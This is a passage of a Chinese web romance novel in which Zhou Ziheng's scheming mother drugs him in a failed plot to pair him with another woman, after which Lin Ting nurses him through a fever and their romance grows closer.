江遇:“你只管照办就好了。” 两千亿,他要用来在境外买岛屿,投资。 他在秘密地进行着一个大计划。 回到珠江南岸时,他又把自己关在了工具房。 这是他第三次修复林听摔碎的陶瓷娃娃。 他一边修复,一边在心里有了坚定的信念——听听,相信我,我们一定能回到过去的,一定能!! …… 三日后,是一个秋高气爽的周末。 林听带着柚子和落落,在逛商场。 她始终记得周琪对她们母女俩的恩情。 周琪离世后,她对落落和盼盼,也像是对自己的亲生女儿一样,又疼又爱,小心呵护着。 每一次出门玩耍,柚子和落落都是成双成对的。 这一天,两个小姐妹收获了很多战利品,玩具、衣服、零食。 除此以外,林听还给周国立和张淑琴二老,买了许多换季的衣服。 眼看天气就要凉下来了。 她这个当女儿的,也要尽孝心了。 柚子手上拎了大包小包,昂起脑袋来,看着妈妈,“妈妈,我们给外公外婆都买了衣服,是不是也应该给周爸爸买一套衣服?” 这一点,林听倒是没有想到。 “……可是,妈妈不知道周爸爸的码数,也不知道他喜欢什么样的衣服。” 柚子笑盈盈道,“打电话问了就知道了。” 说着,柚子就用自己的电话手表,给周自衡打去了电话。 听闻小丫头要给自己买衣服,周自衡笑道,“爸爸果然没白疼你。” 柚子的小嘴可甜啦,“那肯定啦,柚子最爱爸爸啦!” 问完周自衡的衣服尺寸,柚子拉着林听走进一家男装品牌店。 这时,周自衡发来一条微信。 内容是他的衣服尺寸,然后附带一句话:有劳! 林听在心里嘀咕了一句:这个男人,还真是一点也不客气! 柚子放下手中的购物袋,开始有模有样地替周爸爸挑选衣服。 “妈妈,我们既然要给周爸爸买衣服,也给律风爸爸也买一套吧。” 这两个爸爸,可是比她的亲生父亲还要疼她。 柚子是很有良心的小朋友。 她时刻想着两个爸爸呢。 “你倒是挺有孝心。” “反正不给那个渣爸爸买。” 不。 那个狗男人,不配当她父亲,连渣爸爸都算不上。 “那你替你周爸爸和律风爸爸选吧。” 就在林听说完这句话,准备歇一口气的时候,身边突然来了一个穿着打扮十分优雅贵气的女人。 这个女人看上去四十多岁,实际年龄已经五十出头了。 她长得妩媚动人,一看就像是电影里演的那种红颜祸水。 那是周自衡的母亲——朱丽媛。 林听并不知道她的身份,所以在对方盯着她打量个遍的时候,她带着礼貌,问,“这位女士,是有什么事吗?” 朱丽媛伸出保养得极好的一只白皙细腻的手来,示意要与她握手: “你好,林小姐。我是周自衡的母亲,你可以叫我朱姨,或者朱姐。” 对方长得如此年轻,叫她一声姐,倒是可以。 只是一听说是周自衡的母亲,林听脸色垮下来。 周自衡小的时候,这个女人对他有多狠,林听是知道的。 有一次江遇带着她,一起去医院探望周自衡。 那个时候,周自衡的腿骨摔断了。 是被这个女人故意摔下楼,才摔断的。 眼前的这个女人,只知道问周老爷子要医药费,却并不关心周自衡。 钱拿到手,便将周自衡一个人丢在医院。 那个时候的周自衡,不过才十来岁。 这个叫朱丽媛的女人,根本不配当母亲。 小说里不都是说,恶毒老女人找上门,都是来拆散姻缘的吗? 林听态度坚决道,“如果你是来劝我离开周自衡的,那么你不必开口了。周自衡的感情问题,你没资格插手。” 这个女人,肯定又想利用周自衡的婚事,捞一笔钱。 周自衡有这样的妈,真是够可怜的。 林听没给朱丽媛好脸色,带着两个孩子迅速离开。 跟这种恶毒女人沾上关系,准没好事。 …… 半分钟后,远在周氏医药某制药工厂的周自衡,收到了朱丽媛去见林听的消息。 不过半个小时,周自衡第一时间回到周家山庄。 东楼,朱丽媛的会客厅,被周自衡一脚踢开。 而此时此刻的朱丽媛,正漫不经心地坐在茶几前,喝着她最爱喝的养生花茶。 周自衡大步走进去。 整个装潢绚丽的会客厅,因为他周身极低的气压,而变得灰沉沉的。 “谁允许你接近林听?” 他一开口,声线像是淬了冰。 每一个字都能将朱丽媛的耳膜冻僵。 连空气都瞬间凝结成霜。 这股裹着冰碴的威慑感,直往朱丽媛的脊椎骨里钻。 她知道,得罪她这个儿子,下场很不好受,可是她们之间的母子关系早就在周自衡儿时那会儿碎成了渣渣。 周自衡不会善待她。 想要过上纸醉金迷的生活,还得靠她自己为自己谋划。 朱丽媛放下手中的茶杯。 面前的一盏香薰,缓缓飘散着袅袅烟气。 那烟,香得很! 周自衡闻着,有些刺鼻。 朱丽媛笑着说,“看你着急的,我又没对林听做什么,只是想以未来婆婆的身份,去看看这个未来儿媳妇。” 周自衡:“你没这个资格。” 朱丽媛感慨了一声,“我知道,你九岁那年被周家几个公子哥推入游泳池,是林听第一个跳下水里救你。你是不是从那个时候开始,心里就一直念着这个丫头?” 这个男人,竟然也有软肋! 第155章 双双坠入软软的大床 说话间,朱丽媛为周自衡倒了一盏茶。 递过去,道,“阿衡,尝尝妈新配的养生花茶。” 那茶,被周自衡接过去。 可是,下一瞬,哐当一声。 茶杯摔在地毯上。 茶水溅起来,碎片也溅起来。 有一片碎片,刚好划过朱丽媛的手背,立即见了血。 嘶……朱丽媛疼得皱眉。 眼见着周自衡淬着冰碴子的目光里有了杀意,朱丽媛是胆战心惊的。 眼前的这个男人,再也不是儿时那个能够被她随意打骂,随意残害的小男孩了。 他在周家藏锋守拙韬光养晦,经历许多磨难,九死一生,最终连周才昆那样心狠手辣的人物都被他一举扳倒,被囚禁在山庄西楼。 就算她是周自衡的亲生母亲,他发起狠来,她也是怕他的。 这时,周自衡冷冷警告:“如果你敢伤害林听,犹如这盏茶杯。” 朱丽媛捂着自己伤口的手,有些微微发抖。 她抬起眸来,挤出笑容。 “阿衡,妈妈怎么敢伤害你心爱的女人?” “妈妈只是想劝你,就算林听小的时候救过你,她也是个二手女人。她替江遇生过孩子,她根本配不上你。” 咔嚓咔嚓。 地上的陶瓷碎片,被周自衡踩碎。 他踩着碎片,一步步来到朱丽媛的面前。 稍稍一伸手,便掐住了朱丽媛的脖子。 “谁允许你这么诋毁她?” 林听是这个世界上最好的女人。 是他整个不见天日的黑暗人生里,照进他心里的唯一一束光。 是他无数个被周家至亲残忍算计,九死一生时,唯一活下去的动力。 是他拼了命也要保护的女人。 没有谁,可以如此诋毁她。 这个世间,地狱空荡荡,恶魔在人间。 连他身边最亲的人,都可以为了利益,要他的命,一次又一次地算计他。 只有林听,才是这肮脏的世界里,唯一的洁白无瑕。 他掐着朱丽媛的脖颈,力道加深。 那双做着美甲的漂亮的双手,用力掰着他的手臂,风韵犹存的脸蛋被逼得通红。 朱丽媛就快喘不过气来。 从小到大,周自衡动了无数次的杀念,想要杀掉这个毒气的女人。 可是她偏偏是他的亲生母亲。 世人都以为他周自衡心狠手辣,可他偏偏对自己的亲生母亲,下不了狠手。 就在朱丽媛的脸色一阵青,一阵紫,就要咽气时,他终究还是松开了手。 这样血缘亲情,像是一颗毒瘤一样长在他的身体里。 割了会痛。 不割也会痛。 “下次如果再敢诋毁林听,我不介意提前为你办丧事。” 朱丽媛突然像是泄了气的气球一样。 她瘫软在沙发上,大口大口地呼吸着新鲜空气。 而周自衡,给予朱丽媛警告后,冷冰冰的转身离开。 就在他走远几步后,整个脑袋晕晕沉沉的。 下一秒,脑袋宕机。 整个伟岸挺拔的身躯,彻底晕倒过去。 缓过来的朱丽媛,见到倒在地毯上的周自衡,终于露出了得逞的笑意。 这时,她身旁的那盏香熏仍旧燃烧着。 烟气升腾。 香味刺鼻。 那是她从境外买来的让人至幻的药。 这药效,确实挺厉害的。 周自衡进来总共不到两分钟,这就晕过去了。 朱丽媛走到门口,将门上了反锁,又缓缓回到周自衡的面前,蹲了下来。 “聪明反被聪明误,都说了让你尝尝我新泡的花茶了。” 她提前泡好的茶,刚好可以避免被香薰熏至致幻。 她轻蔑地拍了拍周自衡那张铁血刚毅英俊完美的脸: “儿子,对亲妈太过戒备,未必是一件好事。” 这时,房间里走出两个女人。 一个肤白貌美,年轻漂亮。 一个和朱丽媛一样,风韵犹存。 两人看上去长得有几分相像,一看就是母女俩。 风韵犹存的那个,是朱丽媛的牌友。 也是这上流圈子里的富贵太太。 不过这个女人和朱丽媛一样,是小三上位。 但她的命比朱丽媛好,她睡了比自己大三十岁的老头子,至少把老头子上一任老婆赶跑了,有了个名分,成了正儿八经的苏太太。 苏太太笑盈盈地走过来,“丽媛,只要我女儿和你儿子的事情成了,不管你儿子愿不愿意娶我女儿,我答应给你的三千万,一定兑现。” 苏太太的女儿苏菲菲,此时此刻正准备将周自衡扶起来。 这男人看起来又高又瘦,没想到如此沉。 “妈妈,丽媛阿姨,快帮帮我,周自衡全身好烫啊。” 朱丽媛合力将周自衡扶起来,“烫就对了,一会儿药效发作,他会让你很快乐的。” 三人合着力,将周自衡弄进了房间的大床上。 朱丽媛看着自己那样样与众不同的儿子。 他周身上下都裹胁着浓浓的男人味与强大的性张力。 被迷晕过去后,他每一次呼吸,脖颈处的血管与喉结,勾勒出强有力的荷尔蒙气息。 朱丽媛拍着苏菲菲的肩,笑道,“菲菲,我这儿子可是人间绝等货色。这下你性福了。” 她所说的性福,是男女性别的性。 那样的语气,让苏菲菲蠢蠢欲动。 “丽媛阿姨,不管我能不能成为你的儿媳妇,以后你都是我的亲妈了。” 朱丽媛被周才昆耍过一次。 这次才没那么笨。 她手一摊,“现在兑现支票,别一会儿你和我儿子上了床,你们母女俩跟周才昆似的翻脸不认账。” 苏菲菲去脱周自衡的鞋子,“事情还没成呢。” “现在不兑现,我就叫外面的洛高进来,看你还怎么和我儿子办好事。” 苏太太想了想,三千万,换女儿和周家家主睡一次,划算的。 要是能让菲菲怀上周自衡的孩子,以后不怕做不成周家主母。 “好,好,好,现在兑现,现在兑现,丽媛,我们出去,让孩子们办正事。” 苏太太拉着朱丽媛走出房间,特意将门反锁。 反锁之前,不忘嘱咐里面的女儿,“菲菲,赶紧把周少睡了,别耽误正事。” 东楼,会客厅门外。 洛高算了算时间,家主进去已经有十分钟了,怎么还不出来。 他拍着会客厅的大门,“家主?” 门被朱丽媛反锁着,她扯着嗓子喊了一声,“别敲了,周自衡在厕所拉肚子。” 洛高觉得奇怪,家主没吃坏肚子,怎么可能拉肚子? 就在这个时候,房间里忽然传来苏菲菲的哭声。 苏太太还在那里沾沾自喜,“不会吧,这么快就哭上了。丽媛,看来你儿子很有劲,不像那些老头子,不中用。” 就在苏太太满心以为,这一次自己的女儿一定能和她一样成功上位时,苏菲菲衣衫不整地哭着跑出来。 她的额头上,流着鲜血。 那是她想对周自衡图谋不轨时,被醒来的周自衡用花瓶砸下去所伤。 这时,里面的周自衡走出来。 他扶着沙发,指节深深嵌入沙发里,喉间溢出压抑的闷哼声。 汗水顺着他的下颌线,顺着他肌肉线条紧崩的脖颈处,一颗一颗滚进他敞开的黑衫衣领口。 眼前的一景一物,仿佛是浸在沸水里。 周自衡全身热得厉害,介于清醒与不清醒之间,他把锐利的目光落在了朱丽媛的身上,“你什么时候给我下的药?” 朱丽媛看到儿子这可怕得想要杀人的目光,吓得有些哆嗦。 她推了推额头流血的苏菲菲,“菲菲,你不是想睡我儿子嘛,赶紧啊,还等什么?” 苏菲菲哭得发抖,“我不要,他会杀了我的。” 周自衡望向苏菲菲。 他脖颈间的肌肉线条,上下起伏,像是猎豹舒筋展骨。 每一寸肌肉力量,都散发着危险的气息。 吓得苏菲菲拉着苏太太,脚下发软,一路跌跌撞撞,开了门便落荒而逃。 门外拍着门的洛高想着,要是朱丽媛再不开门,他就要破门而入了。 见到里面突然多出来一老一少两个女人,其中年轻的那个额头还流着血,两人一身狼狈而逃。 洛高心说不妙。 这不是一直想嫁给家主的苏家千金,苏菲菲吗? 洛高赶紧进门,扶住周自衡,“家主,家主,你怎么了?” 怎么一身滚烫。 烫得吓人。 “你对家主做了什么?”洛高瞪向朱丽媛,这个女人,真是太恶毒了,一次次地算计自己的亲生儿子。 周自衡缓缓睁开眼睛。 那双眼睛带着翻涌的热浪,“洛高,回君悦府……” …… 君悦府。 林听推开别墅前的小侧门,拎着大包小包走进去。 给花草施肥的洛叔,赶紧放下手中的肥料桶,迎上来帮忙拎东西。 “林小姐,买了这么多东西呢?” “嗯,都是一些换季的衣服。洛叔,我给你和洛婶也买了礼物哦。” “唉哟,林小姐破这费干什么,我们老两口有衣服穿。” “换季了,每个人都有。” “林小姐,柚子呢?” “刚刚给我爸妈送衣服,她留在隔壁和落落玩游戏呢。” 如今留在她身边的人,都是对她友善有爱的人。 不管是宋律风、周国立、张淑琴,还是洛叔洛婶和洛高,以及周自衡。 每一个人,都像是她的亲人一样。 所以趁着天气没有彻底转凉之前,她给每个人都买了换季的衣服。 看到满院子开得正艳的洋桔梗,林听心情舒畅,“洛叔,你种的花可真漂亮!” 洛叔笑道,“我只是偶尔施施肥,其实更多的时候是周先生在打理这片洋桔梗,因为他知道林小姐最喜欢洋桔梗了。” 看着那片花海,每一朵洋桔梗都开得无比灿烂。 它们迎着晚霞,随风摇曳。 林听也陷入了短暂的沉思,三日前的拥抱,四日前的亲吻…… 周自衡吻她时,明显毫无技巧,羞涩得如同一个刚刚进入青春期的少年。 看着一朵朵随风摇曳的洋桔梗,林听不禁在心里问:周自衡对她,到底是什么样的感情? 就在这时,一辆越野车急冲冲驶进院落。 车子还未抵达车库,便一个急刹车停下来。 林听看着洛高将脸色发红的周自衡扶下车,她赶紧上前帮忙。 架着周自衡的胳膊,隔着一层黑色的衬衫,林听感觉到他的身体滚烫得吓人,“洛高,周自衡全身怎么这般烫?” 洛高:“进去再说。” 两人合力,将周自衡送进房间。 身后跟着在着急中问东问西的洛叔洛婶。 洛高和林听把周自衡扶到床上后,推着洛叔洛婶出去,“爸,妈,你们先出去。” 屋子里,只剩下林听和周自衡,还有洛高。 洛高把事情的前因后果,告诉了林听,然后用拜托的目光,看着林听,“林小姐,拜托你了,这件事情只能是你。” 洛高又有些顾虑。 他知道,家主舍不得让林小姐受半点委屈,更不会强迫她。 所以,他又接了接下来这句话: “林小姐,如果你不愿意的话,你就出来把门锁。” “但是,我希望你能疼疼我家家主,拜托你。” 说着,洛高掩门而去。 留下还没消化完的林听,愣在床边,“不是,这……” 还没反应过来,一只滚烫灼热的手臂,勾着她纤细的腰身,坠入软软的大床。 第156章 这个男人初经男女之事 林听如惊弓之鸟时,已在两人翻转间,被周自衡结实滚烫的身躯压在了下面。 他是那样小心翼翼,生怕压疼了她。 “林听,是你吗?” 周自衡拂过林听额间的碎发。 露出的那张精致迷人的脸蛋,让他在混沌中有了一丝丝清醒。 清醒得像是在做梦。 急促滚烫的呼吸,如同热浪一般。 却在看到她这张精致迷人的脸蛋后,连呼吸都变得小心翼翼了起来。 可是理智如同风中残烛。 怀里的人儿是那样香软迷人; 是他的魂牵梦绕; 是他放在心尖上从少年至此一直想人保护的女孩。 他舍不得在这样的荒唐之下,如此欺负她。 他死死咬着下唇。 血腥在唇齿间蔓延,却克制着不发出多的声响。 浑身紧崩如弓弦。 全身肌肉因极力克制忍耐而变得坚硬如铁。 “林听,出去……走,别留在这里。” 沙哑警告的声音,混着他的压抑。 身下的林听,已经感觉不到身上的重量了。 这个男人从身上离开。 她清楚地意识到,再不离开,接下来很危险。 可是见周自衡如此难受,她有些担心他。 纤细柔软的手掌,落在了周自衡的肩膀。 “周自衡,你需要不需要我给你拿点冰水过来?” 柔软的手掌,击垮了周自衡最后的意志力。 体内致幻的药物,烧灼着他的每一根神经。 理智在汹涌的渴望中,被彻底碾碎。 温热滚烫的唇,来到她的唇边,脸颊,耳畔,白皙纤细的脖颈。 他贪婪如猛兽,在她身上索取着温柔。 大掌所大之处,仿佛岩浆掠过。 一颗颗衫衣扣子,被扯落后,洒落在大床的许多角落里,又滚落到床边深色的地毯上。 热浪滚滚中,被扯下来的衣物,一件一件扔向地毯。 林听已经有许久,没有和男人如此近距离接触了。 滚烫的肌肤让人阵阵炽热。 她都不记得男女之事,到底该如何开始了。 那些和江遇的过去,久远的如同是上辈子。 她全身紧紧崩着。 生疏得如同初经此事。 “周自衡,你看清楚我是谁?” 她试图唤醒周自衡。 她不愿这样的事情,是在周自衡不清醒的状态下进行。 细雨般柔软的声音,让周遭的空气泛起温柔的涟漪。 这声音让周自衡体内的理智与欲望,疯狂地撕扯着。 滚热的唇,离开了那片白皙的锁骨。 抬头时,睁开眼来,他看着她。 那双欲望与清醒交织的目光,矛盾如旋涡。 这样的旋涡,带着他的占有欲,又带着他对她的温柔和呵护。 “林听,对不起,你快走……” 下一瞬,林听被推开。 很快传来浴室门,嘭一下被关紧,又在里面上了反锁的声音。 哗啦啦,浴室里传来流水声。 冰冷的水流,劈头盖脸地落在周自衡身上。 理智在岩浆喷发的身体里,一点点回笼。 听到水流声,门外的林听赶紧爬起来,在地毯上捡起自己的衫衣、裤子,文胸。 身上只剩下一条短裤。 她赶紧穿上长裤。 惊慌失措中,好一阵子都无法扣起文胸的后排扣。 门外。 洛高忐忑不安地站在那里。 他希望林听能够帮助家主,又不愿违背林听的意愿。 所以一直站在这里守着。 如果林听不愿意,他会替家主另外想办法。 突然,门被拉开。 洛高看着站在门前,短发凌乱,脖颈上一片印痕的林听。 这是……成了? 还是没成? 洛高有些凌乱了。 如果是成的话,家主的时间也太短了吧? 要是没成,林小姐这脖颈上的印痕,又是怎么回事? “林小姐?” “你家家主正在冲冷水澡。但是你可能要去拿些冰水来,送到浴室,可能才更管用。” 洛高懂了,家主是怕伤害到心爱的女人。 所以在关键时刻踩了急刹车? 宁愿自己冲冷水澡,也不愿意伤害到林小姐? 林听怕周自衡身体遭不住,严肃道,“愣着干什么,快去拿呀。” “哦,我去拿,我现在就去拿。” 眼看着家里的情况有些糟糕。 林听先是回自己的房间,去换了一身衣服。 然后又给隔壁打了一通电话。 接起别墅座机电话的,是张淑琴。 “小听啊,有什么事?” ““妈,我临时有点事,晚上让柚子在那边吃饭吧。我晚点去接柚子回家。” 张淑琴应声道,“没事,你们要是实在是忙,让柚子在这边挨着落落一起睡。” “好!” “小听啊,妈想问一句,你和阿衡处出感情了吗。我们什么时候能吃上喜糖?” “妈,我正忙着。这件事情以后再说吧。” 连她自己也不明白,她和周自衡现在到底是什么关系。 说是假情侣吧,可她总是能在周自衡的眼里看见不一样的情绪。 说是真情侣吧,可是他们明明不是。 挂了电话,她去周自衡的房间看了看。 洛高往里面送了一桶又一桶的冰水。 “你家家主怎么样了?” “林小姐放心,家主在冰水里泡着。” “朱丽媛那个老女人真是太卑鄙无耻了,为了钱,连自己的亲儿子也这么算计。” 洛高感慨了一句,“她又不是第一次这样算计家主。” 林听也长长地叹了一口气:唉,周自衡真的太可怜了! …… 这天晚上,林听辗转难眠。 早上去看周自衡的时候,他发着高烧,还没醒。 林听坐到床边,触手一摸。 好烫! 洛高在旁边说,“家主昨天倒是清醒过来了,可是在冰块水里泡了大半夜,估计是感冒发烧了。” 林听问,“量体温了吗?” 洛高摇头,“没有,我想着让家主多休息一会儿。” 林听忧心忡忡地看着这个男人,“把体温计拿来。” 她以为,在昨晚那样的荒唐之中,周自衡肯定是不清醒的。 可是没想到,他最后刹车之前,竟然能清醒地叫出她的名字来。 可见,他是一个真正的君子。 他不想在失去理智时,伤害到她。 林听忽然很心疼这个男人。 从他还在朱丽媛的肚子里时,他就成了朱丽媛攀附权贵的一枚棋子,后面又成为了周才昆的棋子,甚至差点替顶周才昆被枪决。 这个男人啊,明明受到了世间那么多的不公平,那么多的伤害。 他明明可以成魔。 可是他的内心又是那么善良。 昨天晚上,他都难受成那样了,他明明可以对她用强的。 但他没有。 她的手掌,落在周自衡滚烫的脸颊上,“你这么好,他们怎么忍心那样伤害你?” 下一瞬,手腕被周自衡抓住。 她惊得往后一缩时。 床上的周自衡缓缓睁开了眼睛。 “周自衡,你醒了。” “放心,我现在是清醒的,你不用害怕。”感受到她紧崩的神经,周自衡坐起来,靠在床头,轻声安慰。 这声音带着高烧后的沙哑。 林听赶紧去拿床头洛高放在那里的水,“你喉咙都哑了,赶紧喝点水吧。” 那杯水,周自衡没有去接,他握着林听的手,目光里带着深深歉疚,“昨天吓到你了吗?” “没事,你也不是故意的。”林听又把水往他嘴边递了递。 他这才接过来。 几大口的功夫,水杯见了底。 温水入喉时,他挺拔的喉结在血管分明的脖颈上,上下滚动。 这个男人,连喝水的动作,都带着浓浓的性张力。 林听下意识的,捏紧衣服一角。 另一只手,尴尬地接过他喝空的水杯,“身体怎么样了?” 靠在床头的周自衡,目光一直落在她身上。 他没有回答她的问题。 他直言道,“昨天和你那样的时候,并不是因为我失去了理智。” 那是他真实的感情。 他看着她,问,“你能感受到吗?” 林听脸颊灼烧得厉害,耳尖突然发起烫来。 她垂了眸,没敢去看周自衡的眼睛。 他要她感受到什么呀? 这时,周自衡的大掌,再次勾住她纤细的腰身,往身边一带。 软软的身躯,顿时撞上一堵结实的,滚烫的肉墙。 “周自衡?” “我现在清醒着。” 大掌在这个时候,扣住她的后颈。 滚热的呼吸,裹挟着他独有的雪松气息,压下来。 这个吻,算不上很有技巧。 甚至生涩得很。 他甚至不会用舌。 晨光像融化的黄阳淌过窗台,把两人的身影烫得越发羞涩。 一吻持续了大半分钟,再抬头时,周自衡那样霸气凛然铁血刚毅的男人,耳尖竟然红了。 “昨晚我对你所做的一切,就像现在一样,你感觉到了吗?” 他怕她感觉不到,拉着她紧崩的小手,落在他滚烫的胸口。 “现在呢,能感觉到吗?” 第157章 是你帮我脱的衣服? 掌心里的滚烫,让林听下意识的往回缩了缩手。 可是周自衡拉着她不放手。 又将她的掌心,重新摁回了他结实有力的胸膛。 那颗心脏,扑通扑通。 犹如擂鼓。 隔着一层落落的衣衫,隔着他的胸膛,蓬勃有力,仿佛要跳进林听的掌心里。 那样的力量与温度,将林听的心跳节奏,也跟着乱了。 “林听,感受到了吗?” 林听不知道要如何回答他,“……” 她感受到了这个男人最诚挚的心跳,也感受到了他浓烈缱绻的目光。 晨光漫进卧室。 她看着晨光中眉骨如刀削,五官硬朗又柔情的男人。 明明是要回答他的。 可是舌头却有些打结。 这样的心湖大乱,仿佛是高中那一年被江遇表白时,也不曾有过的心境。 为什么是她呀? 她有着那么一段糟糕的过去,她和他最好的兄弟江遇睡过三年,还替江遇生了一个女儿。 周自衡心跳,为什么是在为了她而诚挚有力地跳动着? 没有得到答案的周自衡,胸口有些发紧。 他不愿意就这样被心爱的女人拒绝。 霸气的吻再次落在了她的唇间。 这一吻依然生涩而毫无技巧,甚至可以说笨拙。 可是男人浓烈的气息,让林听落在身体两侧的手,竟然缓缓抬起来,缠住了周自衡的脖颈。 这样细微的动作,让周自衡停下来。 唇间勾起一抹满意的笑容。 那个笑容在晨间薄薄的阳光中,有着迷倒众生的杀伤力。 春雪会在他这个笑容里融化。 万物也会跟着他的笑容苏醒。 就连林听,也醉在了这个笑容里。 这时,周自衡发紧的心,这才踏实了许多。 他抬起手来,刮了刮林听的白皙如玉的鼻尖,“你这样缠着我脖子的模样,我很喜欢。” 他亲她的时候,她没有拒绝。 甚至缠来一双白皙纤细的玉臂。 这是不是说明,她对他其实是有感觉的? 她是接纳他的? 周自衡心情很好。 林听听到他这句话,赶紧把手臂缩回来,也跟着羞涩又调皮地笑了,“周自衡,没想到你一个三十三岁的老男人了,吻技还这么差劲。” 刚刚他就像是在啃一样。 果然是没有骗她。 是他的初吻。 她许久没有像现在这般高兴了。 半年前她虽然活过来了,感觉自己如同凤凰涅槃。 可是她活过来的只是身体。 她的灵魂,仍旧带着过去的那些沉重又痛苦的阴影。 此刻,却觉得连灵魂也活过来了似的。 “怎么,你要赐教?” 周自衡勾紧她的腰身,就要亲下去。 林听调皮地躲开,“你还发着高烧呢,乖乖躺好,马上给你量个体量。” 周自衡哪肯听她的话。 男人一旦尝到女人的滋味,便是开弓的箭。 箭在弦上,收不住的。 滚烫的唇,再次来到林听柔软的唇边。 那烫人的气息里,带着他的小心翼翼,带着他的欲念难填。 林听身子骨一软,缓缓闭上了眼睛。 咔哒一声! 卧室门被急急推开。 着急的洛高拿着水银体温计,大步冲进来。 因为着急着家主的身体,怕他高烧烧坏了,他冲得实在是急。 脚下的步伐杀不住车,“林小姐,体温计……” 看到两人拥吻在一起,赶紧刹车。 可是已经晚了。 洛高尴尬得,直抠脚指,“不好意思,打扰了,我,我这就出去。” 他捂着眼睛,一步一步往后腿。 退到门边,撞到了门,又赶紧拉着那扇门想要掩门而去。 就在这时,林听将洛高手中的水银夺过去。 洛高这才松开捂住双眼的手,冲着林听一脸尴尬而笑,“林小姐,实在抱歉,打扰你们了。” 林听拿着水银,“知道打扰了,还不走?” “我走,马上走。” 洛高掩了门,躲在门外,实在忍俊不禁。 没想到昨天晚上,家主没和林小姐成了那事,反倒是让二人的感情增进了不少。 刚刚两人拥吻在一起,明显可以看出来,林小姐是心甘情愿的。 真是守得云开见月明。 家主终于要如愿了。 卧室里。 林听返回床边。 她摸了摸他的额头,还是烫得吓人。 她把水银体温计,递给周自衡。 “周自衡,量一下体温吧。一会儿我给你买点药。” 那根体温计,周自衡并没有接过去。 他故意又疲又倦地靠坐在床头,“无力”地眨了眨眼,“我没力气,你帮我。” 林听知道他是故意的。 她把水银体温计往他手里一插,不由小声嘀咕了一句,“刚刚明明还有力气。” “真没力气了。” 说着没力气的男人,此时此刻,已经圈住了林听纤细的腰身。 距离被拉近。 林听撞入他的怀里。 她又好气,又羞涩,“你先松开。” 这个拥抱,周自衡想了二十余年了。 哪能轻易松开。 “你不松开,我怎么帮你量体温?” 周自衡二话不说,拿着体温计塞到腋下。 另一只手,依旧圈着她的腰身,不松手。 抱着她,他把脑袋埋在她的肩头,说着振振有词的借口,“生病的人,是需要温暖的。抱着我,不要走。” 这声音带着他病中的沙哑,又带着他的乞求。 林听的心,瞬间就软了下来。 是啊,周自衡是需要温暖的。 从他还是个孩童开始,他就生活在冰冷残酷的世界,爹不疼娘不爱,身边个个都是豺狼虎豹。 她的双手,忽然抬起来,心疼地落在周自衡结实有力的背部。 将他抱紧。 周自衡从来没有感受到如此温暖的怀抱。 他手臂收拢,把她紧入怀抱深处。 生怕这样的怀抱,只是一场梦境。 “周自衡,你抱得太紧了!” 她委屈地嘀咕了一声。 他手臂不动,力道却轻了许多,“从今天开始,你就是我的人了。” 她昂了昂脑袋,表示抗议,“我什么时候答应你,成了你的人了。” 周自衡:“我不管,你就是我的人了。” 大抵周自衡是烧得太厉害了。 他这样抱着她,不知不觉沉沉睡了过去。 林听意识过来时,赶紧拿出他的体温计,看了看。 妈呀,烧到快四十一度了。 学医的她知道,这个时候得赶紧吃退烧药。 她赶紧让洛高去买布洛芬药片。 在这之前,她用冰袋和凉水,为周自衡做了一遍物理降温。 没一会儿,洛高买来了布洛芬。 林听却发愁了。 因为他给周自衡喂水喂药,什么也喂不进去。 她急得直发愁,不抽轻轻摇了摇周自衡,“周自衡,你醒一醒?” 烧得厉害的周自衡,抬了抬沉重的眼皮。 看了林听一眼,他又闭上了眼睛。 不管林听怎么喊他,叫他,再没回应了。 洛高在旁边急坏了,“林小姐,要不你嘴对嘴地喂家主吧。” 这倒是个办法。 她看了洛高一眼,洛高很识趣地走到门边,二话不说把门掩了过去。 林听很满意。 洛高这么些年一直跟在周自衡的身边,倒是个贴心的好帮手。 她重新掰了一片半的布洛布,喂到周自衡的嘴里。 “周自衡,一会儿我给你喂水的时候,你要乖一点,把药吞下去,知道吗?” 迷迷糊糊中,周自衡听到了林听温柔如细雨落下的声音。 想睁开眼睛。 眼皮很沉,根本睁不开。 在林听嘴对嘴,喂给他水时,他果然很乖地,滚了滚喉结,就着药片一起吞入咽喉。 林听终于松了一口气。 这就乖了! 过了大半个小时,依旧不见周自衡退烧。 她不得不再次开始帮他物理退烧。 手心,脚掌,贴上退烧贴。 如此这般还不够。 林听又费了好大的力气,脱了他的睡衣睡裤,准备用冰毛巾冷敷他的身体。 脱掉衣物的那一瞬间,林听快要呆住了。 男人的身材劲瘦有力,肌肉分明,好到爆炸,毋庸置疑。 真正让林听惊呆的,不是他的好身材,而是他胸膛、手臂、大腿、小腿上,或大或小的伤疤。 那些伤疤全是陈年旧伤。 最深的那道伤疤,在他腹腔左上方。 那一处伤疤的严厉,她认得。 那是许多年前,他替江遇挡刀子时留下来的。 当时她就在江遇身边。 如果江遇不是为了推开她,不至于刀子冲向他时,他没来得及闪躲。 当时的情况,林听记得很清楚。 她只在意江遇有没有受伤,完全没有留意到周自衡为了替江遇挡刀子,连中了好几刀,伤至脾胃,差点要了周自衡的命。 那时,她的关注点完全在江遇身上。 虽然她很感谢周自衡替江遇挡了刀子,可是完全没有此时此刻这般心疼周自衡。 这个傻男人! 世间待他那般残忍,他却保留着最善之心,孝心,忠义,大爱,都有了。 老天爷为什么还要如此伤害他? “周自衡,这么些年来,你到底是怎么活下来的?” 眼角忽然滑落出湿嗒嗒的泪水。 她心疼周自衡。 她耐心又细致地,用冰湿的毛巾擦过他的身体。 擦到他的伤痕处,她手下的力道变得极轻极轻。 大约是在一个小时后,周自衡的高烧渐渐退去。 这期间,林听为他做了五遍物理退烧。 累了,困了,趴在床边,睡着了。 周自衡醒来时,看到她趴在身边,手中还捏着一块降温用的冰袋。 那只冰袋,冻得她纤细的手指红通通了起来。 他小心翼翼地拿走冰袋,捂着她的手,来到面前,小心翼翼地哈着热气。 温暖的热气,让林听指尖动了动。 她猛然惊醒,看到自己的右手被周自衡捧在掌心里。 男人靠坐在床头。 身上薄被落在腰间。 深翠色的丝绸之上,衬托出结实有力的腰腹肌肉更加充满男性的力量。 林听还没反应过来,周自衡长臂一伸。 那带着薄茧的手指指腹,拭过她的嘴边,“睡觉流口水了!” 林听赶紧用袖子擦了擦。 好丢脸呀! 看见她这般可爱模样,周自衡勾唇一笑,“我身上的衣服,是你帮我脱的?” 林听尴尬地清了清嗓子,“我是为了帮你物理降温,可没想占你便宜。” “这便宜让你占一辈子,愿意吗?”说话间,周自衡已经勾住了她纤细的腰身,带她入怀。 林听的身躯,猝不及防的,撞在周自衡的胸膛上。 男人的胸膛结实如壁垒。 肌肉,骨骼,还有他如擂鼓般有力的心跳,近在身前。 